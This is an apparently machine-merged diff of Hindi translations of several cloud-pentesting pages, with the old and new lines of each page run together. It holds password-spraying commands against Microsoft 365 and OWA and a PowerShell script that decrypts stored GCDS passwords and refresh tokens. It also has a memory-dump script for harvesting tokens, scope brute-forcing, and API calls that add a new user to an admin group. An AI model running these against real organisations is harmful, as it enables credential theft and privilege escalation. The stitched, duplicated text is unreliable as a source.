एक _**shared access signature**_ (SAS) URL एक URL है जो **किसी Storage account** के एक निश्चित भाग (यह एक पूर कंटेनर, एक फ़ाइल हो सकता है...) तक पहुँच प्रदान करता है जिसमें संसाधनों पर कुछ विशिष्ट अनुमतियाँ (पढ़ने, लिखने...) होती हैं। यदि आप एक लीक हुआ URL पाते हैं, तो आप संवेदनशील जानकारी तक पहुँच सकते हैं, ये इस तरह दिखते हैं (यह एक कंटेनर तक पहुँचने के लिए है, यदि यह केवल एक फ़ाइल तक पहुँच प्रदान कर रहा होता, तो URL का पथ भी उस फ़ाइल को शामिल करा): एक _**shared access signature**_ (SAS) URL एक URL है जो **किसी Storage account** के एक निश्चित भाग (पूर्ण कंटेनर, एक फ़ाइल...) तक पहुँच प्रदान करता है जिसमें संसाधनों पर कुछ विशिष्ट अनुमतियाँ (पढ़ने, लिखने...) होती हैं। यदि आप एक लीक हुआ URL पाते हैं, तो आप संवेदनशील जानकारी तक पहुँच प्राप्त कर सकते हैं, ये इस तरह दिखते हैं (यह एक कंटेनर तक पहुँचने के लिए है, यदि यह केवल एक फ़ाइल तक पहुँच प्रदान कर रहा होता, तो URL का पथ भी उस फ़ाइल को शामिल करेगा):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` `https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
@@ -203,7 +203,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
### Phishing ### Phishing
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (क्रेडेंशियल्स या OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-) - [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (क्रेडेंशियल्स या OAuth ऐप -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md) - [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
### Password Spraying / Brute-Force ### Password Spraying / Brute-Force
@@ -6,10 +6,10 @@
**Azure** में यह **विभिन्न API endpoints** जैसे Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, आदि के खिलाफ किया जा सकता है। **Azure** में यह **विभिन्न API endpoints** जैसे Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, आदि के खिलाफ किया जा सकता है।
हालांकि, ध्यान दें कि यह तकनीक **बहुत शोर करती है** और Blue Team इसे **आसानी से पकड़ सकती है**। इसके अलावा, **बाध्य पासवर्ड जटिलता** और **MFA** का उपयोग इस तकनीक को कुछ हद तक बेकार बना सकता है। हालांकि, ध्यान दें कि यह तकनीक **बहुत शोर करती है** और Blue Team इसे **आसानी से पकड़ सकती है**। इसके अलावा, **बाध्य पासवर्ड जटिलता** और **MFA** का उपयोग इस तकनीक को बेकार बना सकता है।
आप [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) के साथ पासवर्ड स्प्रे हमले को अंजाम दे सकते हैं। आप [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) के साथ एक पासवर्ड स्प्रे हमले को अंजाम दे सकते हैं।
```powershell ```bash
. .\MSOLSpray\MSOLSpray.ps1 . .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
``` ```
@@ -18,7 +18,7 @@ Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
``` ```
या [**MailSniper**](https://github.com/dafthack/MailSniper) के साथ या [**MailSniper**](https://github.com/dafthack/MailSniper) के साथ
```powershell ```bash
#OWA #OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS #EWS
@@ -6,39 +6,39 @@
## Basic Methodology ## Basic Methodology
प्रत्येक क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्यतः कुछ **सामान्य बातें हैं जिन्हें एक pentester को** क्लाउड वातावरण का परीक्षण करते समय जांचना चाहिए: प्रत्येक क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्यतः कुछ **सामान्य बातें हैं जिन्हें एक pentester को जांचना चाहिए** जब वह एक क्लाउड वातावरण का परीक्षण कर रहा हो:
- **बेंचमार्क जांचें** - **बेंचमार्क जांच**
- यह आपको **पर्यावरण का आकार समझने** में मदद करेगा और **सेवाओं का उपयोग** करेगा - यह आपको **पर्यावरण का आकार समझने** में मदद करेगा और **सेवाओं का उपयोग**
- यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** खोजने की अनुमति देगा क्योंकि आप इनमें से अधिकांश परीक्षण **स्वचालित उपकरणों** के साथ कर सकते हैं - यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** खोजने की अनुमति देगा क्योंकि आप इनमें से अधिकांश परीक्षण **स्वचालित उपकरणों** के साथ कर सकते हैं
- **सेवाओं की गणना** - **सेवाओं की गणना**
- यदि आपने बेंचमार्क परीक्षण सही ढंग से किया है तो आप यहाँ अधिक गलत कॉन्फ़िगरेशन नहीं पाएंगे, लेकिन आप कुछ ऐसा पा सकते हैं जो बेंचमार्क परीक्षण में नहीं देखा गया था। - यदि आपने बेंचमार्क परीक्षण सही ढंग से किया है तो आप यहाँ अधिक गलत कॉन्फ़िगरेशन नहीं पाएंगे, लेकिन आप कुछ ऐसा पा सकते हैं जो बेंचमार्क परीक्षण में नहीं देखा गया था।
- यह आपको यह जानने की अनुमति देगा कि **क्लाउड env में वास्तव में क्या उपयोग किया जा रहा है** - यह आपको यह जानने की अनुमति देगा कि **क्लाउड env में वास्तव में क्या उपयोग किया जा रहा है**
- यह अगले चरणों में बहुत मदद करेगा - यह अगले चरणों में बहुत मदद करेगा
- **खुले हुए संसाधनों की जांच करें** - **खुले संसाधनों की जांच करें**
- यह पिछले अनुभाग के दौरान किया जा सकता है, आपको **यह पता लगाना होगा कि क्या कुछ भी संभावित रूप से इंटरनेट पर खुला है** और इसे कैसे एक्सेस किया जा सकता है। - यह पिछले अनुभाग के दौरान किया जा सकता है, आपको **यह पता लगाना होगा कि क्या कुछ भी संभावित रूप से इंटरनेट पर खुला है** और इसे कैसे एक्सेस किया जा सकता है।
- यहाँ मैं **हाथ से खोली गई अवसंरचना** जैसे वेब पृष्ठों के साथ उदाहरणों या अन्य पोर्ट्स के बारे में बात कर रहा हूँ, और अन्य **क्लाउड प्रबंधित सेवाओं के बारे में जो खोली जा सकती हैं** (जैसे DBs या बकेट्स) - यहाँ मैं **हाथ से खोली गई अवसंरचना** जैसे वेब पृष्ठों के साथ उदाहरण या अन्य पोर्ट्स के बारे में बात कर रहा हूँ, और अन्य **क्लाउड प्रबंधित सेवाओं के बारे में जो खोली जा सकती हैं** (जैसे DBs या बकेट्स)
- फिर आपको यह जांचना चाहिए कि **क्या उस संसाधन को खोला जा सकता है या नहीं** (गोपनीय जानकारी? कमजोरियाँ? खोली गई सेवा में गलत कॉन्फ़िगरेशन?) - फिर आपको यह जांचना चाहिए कि **क्या उस संसाधन को खोला जा सकता है या नहीं** (गोपनीय जानकारी? कमजोरियाँ? खोली गई सेवा में गलत कॉन्फ़िगरेशन?)
- **अनुमतियों की जांच करें** - **अनुमतियों की जांच करें**
- यहाँ आपको **क्लाउड के भीतर प्रत्येक भूमिका/उपयोगकर्ता की सभी अनुमतियों का पता लगाना चाहिए** और उनका उपयोग कैसे किया जा रहा है - यहाँ आपको **क्लाउड के अंदर प्रत्येक भूमिका/उपयोगकर्ता की सभी अनुमतियों का पता लगाना चाहिए** और उनका उपयोग कैसे किया जा रहा है
- बहुत **अधिक उच्च विशेषाधिकार प्राप्त** (सब कुछ नियंत्रित करने वाले) खाते? उत्पन्न कुंजी का उपयोग नहीं किया गया?... इनमें से अधिकांश जांचें पहले से ही बेंचमार्क परीक्षणों में की जानी चाहिए थी - बहुत **अधिक उच्च विशेषाधिकार** (सब कुछ नियंत्रित करे) खाते? उत्पन्न कुंजी का उपयोग नहीं किया गया?... इनमें से अधिकांश जांच पहले से ही बेंचमार्क परीक्षण में की जानी चाहिए थी
- यदि ग्राहक OpenID या SAML या अन्य **संघ** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** के लिए पूछन पड़ सकत है कि **प्रत्येक भूमिका कैसे सौंपा जा रहा है** (यह समान नहीं है कि व्यवस्थापक भूमिका 1 उपयोगकर्ता को या 100 को सौंपा गया है) - यदि ग्राहक OpenID या SAML या अन्य **संघ** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** पूछन पड़ सकत है कि **प्रत्येक भूमिका कैसे सौंपा जा रहा है** (यह समान नहीं है कि व्यवस्थापक भूमिका 1 उपयोगकर्ता को या 100 को सौंपा गया है)
- यह **खोजना पर्याप्त नहीं है** कि कौन से उपयोगकर्ताओं के पास **व्यवस्थापक** अनुमतियाँ हैं "\*:\*". बहुत सारी **अन्य अनुमतियाँ** हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं। - यह **खोजना पर्याप्त नहीं है** कि कौन से उपयोगकर्ताओं के पास **व्यवस्थापक** अनुमतियाँ "\*:\*" हैं। बहुत सारी **अन्य अनुमतियाँ** हैं जो उपयोग की गई सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं।
- इसके अलावा, अनुमतियों का दुरुपयोग करके **संभावित privesc** तरीके हैं। इन सभी बातों को ध्यान में रखा जाना चाहिए और **जितने संभव हो privesc पथों** की रिपोर्ट की जानी चाहिए। - इसके अलावा, अनुमतियों का दुरुपयोग करते हुए **संभावित privesc** तरीके हैं। इन सभी बातों को ध्यान में रखा जाना चाहिए और **जितने संभव हो privesc पथों** की रिपोर्ट की जानी चाहिए।
- **एकीकरण की जांच करें** - **एकीकरण की जांच करें**
- यह अत्यधिक संभावना है कि **अन्य क्लाउड या SaaS के साथ एकीकरण** क्लाउड env के भीतर उपयोग किया जा रहा है। - यह अत्यधिक संभावना है कि **अन्य क्लाउड या SaaS के साथ एकीकरण** क्लाउड env के अंदर उपयोग किया जा रहा है।
- आपके द्वारा ऑडिट किए जा रहे क्लाउड के **एकीकरण** के लिए आपको सूचित करना चाहिए **किसके पास उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और आपको पूछना चाहिए **कितना संवेदनशील** है किया जा रहा कार्य।\ - **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके एकीकरण के लिए आपको सूचित करना चाहिए **किसके पास उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और आपको पूछना चाहिए **कितना संवेदनशील** है किया जा रहा कार्य।\
उदाहरण के लिए, कौन AWS बकेट में लिख सकता है जहाँ GCP डेटा प्राप्त कर रहा है (पूछें कि GCP में उस डेटा को संभालने में कार्य कितना संवेदनशील है)। उदाहरण के लिए, कौन AWS बकेट में लिख सकता है जहाँ GCP डेटा प्राप्त कर रहा है (पूछें कि GCP में उस डेटा को संभालने में कार्य कितना संवेदनशील है)।
- आपके द्वारा ऑडिट किए जा रहे क्लाउड के **अंदर बाहरी प्लेटफार्मों से एकीकरण** के लिए, आपको पूछना चाहिए **किसके पास बाहरी रूप से उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और यह जांचें कि उस डेटा का उपयोग कैसे किया जा रहा है।\ - **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके अंदर बाहरी प्लेटफार्मों से एकीकरण के लिए, आपको पूछना चाहिए **किसके पास बाहरी रूप से उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और यह जांचें कि उस डेटा का उपयोग कैसे किया जा रहा है।\
उदाहरण के लिए, यदि एक सेवा GCR में होस्ट की गई Docker छवि का उपयोग कर रही है, तो आपको पूछना चाहिए कि इसे संशोधित करने का किसके पास अधिकार है और उस छवि को AWS क्लाउड के भीतर निष्पादित करने पर कौन सी संवेदनशील जानकारी और पहुंच प्राप्त होगी। उदाहरण के लिए, यदि एक सेवा GCR में होस्ट की गई Docker छवि का उपयोग कर रही है, तो आपको पूछना चाहिए कि इसे संशोधित करने का अधिकार किसके पास है और उस छवि को AWS क्लाउड के अंदर निष्पादित करने पर कौन सी संवेदनशील जानकारी और पहुंच प्राप्त होगी।
## Multi-Cloud tools ## Multi-Cloud tools
कई उपकरण हैं जिन्हें विभिन्न क्लाउड वातावरण का परीक्षण करने के लिए उपयोग किया जा सकत है। स्थापना के चरण और लिंक इस अनुभाग में बताए जाएंगे। कई उपकरण हैं ज विभिन्न क्लाउड वातावरण का परीक्षण करने के लिए उपयोग कि जा सकत है। स्थापना के चरण और लिंक इस अनुभाग में बताए जाएंगे।
### [PurplePanda](https://github.com/carlospolop/purplepanda) ### [PurplePanda](https://github.com/carlospolop/purplepanda)
एक उपकरण जो **क्लाउड और क्लाउड/SaaS में खराब कॉन्फ़िगरेशन और privesc पथों की पहचान**रता है। एक उपकरण जो **क्लाउड और क्लाउड/SaaS में खराब कॉन्फ़िगरेशन और privesc पथों की पहचान करने**े लिए है।
{{#tabs }} {{#tabs }}
{{#tab name="Install" }} {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler) ### [Prowler](https://github.com/prowler-cloud/prowler)
यह **AWS, GCP & Azure** का समर्थन करता है। प्रत्येक प्रदाता को कैसे कॉन्फ़िगर करें, यह देखें [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) यह **AWS, GCP & Azure** का समर्थन करता है। प्रत्येक प्रदाता को कॉन्फ़िगर करने के लिए देखें [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash ```bash
# Install # Install
pip install prowler pip install prowler
@@ -170,7 +170,7 @@ steampipe check all
<summary>सभी प्रोजेक्ट्स की जांच करें</summary> <summary>सभी प्रोजेक्ट्स की जांच करें</summary>
सभी प्रोजेक्ट्स की जांच करने के लिए आपको `gcp.spc` फ़ाइल उत्पन्न करनी होगी जिसमें परीक्षण के लिए सभी प्रोजेक्ट्स का संकेत दिया गया हो। आप बस निम्नलिखित स्क्रिप्ट से संकेतों का पालन कर सकते हैं। सभी प्रोजेक्ट्स की जांच करने के लिए आपको `gcp.spc` फ़ाइल उत्पन्न करनी होगी जिसमें परीक्षण के लिए सभी प्रोजेक्ट्स का संकेत दिया गया हो। आप बस निम्नलिखित स्क्रिप्ट से निर्देशों का पालन कर सकते हैं।
```bash ```bash
FILEPATH="/tmp/gcp.spc" FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null rm -rf "$FILEPATH" 2>/dev/null
@@ -263,12 +263,12 @@ cloudlist -config </path/to/config>
{{#endtab }} {{#endtab }}
{{#endtabs }} {{#endtabs }}
### [**कार्टोग्राफी**](https://github.com/lyft/cartography) ### [**cartography**](https://github.com/lyft/cartography)
कार्टोग्राफी एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है जो Neo4j डेटाबेस द्वारा संचालित होता है। Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित होता है।
{{#tabs }} {{#tabs }}
{{#tab name="इंस्टॉल" }} {{#tab name="Install" }}
```bash ```bash
# Installation # Installation
docker image pull ghcr.io/lyft/cartography docker image pull ghcr.io/lyft/cartography
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase) ### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में प्रस्तुत किया जाता है। Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण, और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में प्रस्तुत किया जाता है।
{{#tabs }} {{#tabs }}
{{#tab name="Install" }} {{#tab name="Install" }}
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk) ### [**SkyArk**](https://github.com/cyberark/SkyArk)
स्कैन किए गए AWS या Azure वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। स्कैन किए गए AWS या Azure वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है।
```powershell ```bash
Import-Module .\SkyArk.ps1 -force Import-Module .\SkyArk.ps1 -force
Start-AzureStealth Start-AzureStealth
@@ -376,8 +376,8 @@ Scan-AzureAdmins
### [CloudFox](https://github.com/BishopFox/cloudfox) ### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox एक उपकरण है जो क्लाउड अवसंरचना में उपयोग किए जा सकने वाले हमले के रास्तों को खोजने के लिए है (वर्तमान में केवल AWS और Azure का समर्थन किया गया है, GCP आने वाला है)। - CloudFox एक उपकरण है जो क्लाउड अवसंरचना में exploitable हमले के रास्तों को खोजने के लिए है (वर्तमान में केवल AWS और Azure का समर्थन किया गया है, GCP आने वाला है)।
- यह एक एन्यूमरेशन उपकरण है जिसे मैनुअल pentesting के पूरक के रूप में डिज़ाइन किया गया है। - यह एक enumeration उपकरण है जिसे मैनुअल pentesting के पूरक के रूप में डिज़ाइन किया गया है।
- यह क्लाउड वातावरण के भीतर कोई डेटा नहीं बनाता या संशोधित नहीं करता है। - यह क्लाउड वातावरण के भीतर कोई डेटा नहीं बनाता या संशोधित नहीं करता है।
### क्लाउड सुरक्षा उपकरणों की अधिक सूचियाँ ### क्लाउड सुरक्षा उपकरणों की अधिक सूचियाँ
@@ -412,7 +412,7 @@ azure-security/
### Attack Graph ### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure सदस्यता में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से उन्मुख और घटना प्रतिक्रिया कार्य को प्राथमिकता देने के लिए सुपरचार्ज करता है। [**Stormspotter** ](https://github.com/Azure/Stormspotter) एक Azure सदस्यता में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से उन्मुख और घटना प्रतिक्रिया कार्य को प्राथमिकता देने के लिए सुपरचार्ज करता है।
### Office365 ### Office365
@@ -14,15 +14,15 @@
> [!TIP] > [!TIP]
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCDS** का पता लगाने में सक्षम है, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करें और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** भी। > ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCDS** का पता लगाने में सक्षम है, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करें और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** भी।
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ ह तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं: यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ होगा तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure> <figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - Disk Tokens & AD Credentials ### GCDS - Disk Tokens & AD Credentials
बाइनरी `config-manager.exe` (मुख्य GCDS बाइनरी GUI के साथ) कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को डिफ़ॉल्ट रूप से **xml फ़ाइल** में **`C:\Program Files\Google Cloud Directory Sync`** फ़ोल्डर में **`Untitled-1.xml`** नामक फ़ाइल में संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के `Documents` में या **किसी अन्य फ़ोल्डर** में भी सहेजा जा सकता है। बाइनरी `config-manager.exe` (मुख्य GCDS बाइनरी GUI के साथ) डिफ़ॉल्ट रूप से **`C:\Program Files\Google Cloud Directory Sync`** फ़ोल्डर में **`Untitled-1.xml`** नामक फ़ाइल में कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के `Documents` में या **किसी अन्य फ़ोल्डर** में भी सहेजा जा सकता है।
इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर की कुंजी **`open.recent`** हाल ही में खोले गए कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है** इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर की कुंजी **`open.recent`** हाल ही में खोले गए सभी कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है**
फ़ाइल के अंदर सबसे दिलचस्प जानकारी होगी: फ़ाइल के अंदर सबसे दिलचस्प जानकारी होगी:
```xml ```xml
@@ -54,7 +54,7 @@
<details> <details>
<summary>Powershell स्क्रिप्ट जो refresh token और password को decrypt करती है</summary> <summary>Powershell स्क्रिप्ट जो refresh token और password को decrypt करती है</summary>
```powershell ```bash
# Paths and key names # Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml" $xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -156,13 +156,13 @@ Write-Host "Decrypted Password: $decryptedPassword"
### GCDS - मेमोरी से टोकन डंप करना ### GCDS - मेमोरी से टोकन डंप करना
GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS क मुख्य बाइनरी का नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\ GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS क मुख्य बाइनरी नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\
मुझे लगता है कि आप AD कॉन्फ़िगर की गई क्रेडेंशियल्स भी पा सकते हैं। मुझे लगता है कि आप AD कॉन्फ़िगर की गई क्रेडेंशियल्स भी पा सकते हैं।
<details> <details>
<summary>config-manager.exe प्रक्रियाओं को डंप करें और टोकन खोजें</summary> <summary>config-manager.exe प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell ```bash
# Define paths for Procdump and Strings utilities # Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token https://www.googleapis.com/oauth2/v4/token
``` ```
### GCDS - स्कोप ### GCDS - Scopes
> [!NOTE] > [!NOTE]
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए कोई स्कोप अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं** > ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**
> >
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है। > इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
डिफ़ॉल्ट रूप से GCSD उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप्स को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है: डिफ़ॉल्ट रूप से GCSD उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
<details> <details>
<summary>Bash स्क्रिप्ट स्कोप्स को ब्रूट-फोर्स करने के लिए</summary> <summary>Bash script to brute-force scopes</summary>
```bash ```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r" echo -ne "Testing $scope \r"
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts https://www.googleapis.com/auth/contacts
``` ```
#### एक उपयोगकर्ता बनाएं और उसे `gcp-organization-admins` समूह में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके #### एक उपयोगकर्ता बनाएं और उसे समूह `gcp-organization-admins` में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
```bash ```bash
# Create new user # Create new user
curl -X POST \ curl -X POST \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example # You could also change the password of a user for example
``` ```
> [!CAUTION] > [!CAUTION]
> नए उपयोगकर्ता को Super Amin भूमिका देना संभव नहीं है क्योंकि **रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं** > नए उपयोगकर्ता को Super Amin भूमिका देना संभव नहीं है क्योंकि **refresh token के पास आवश्यक विशेषाधिकार देने के लिए पर्याप्त scopes नहीं हैं**
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@@ -4,14 +4,14 @@
## Basic Information ## Basic Information
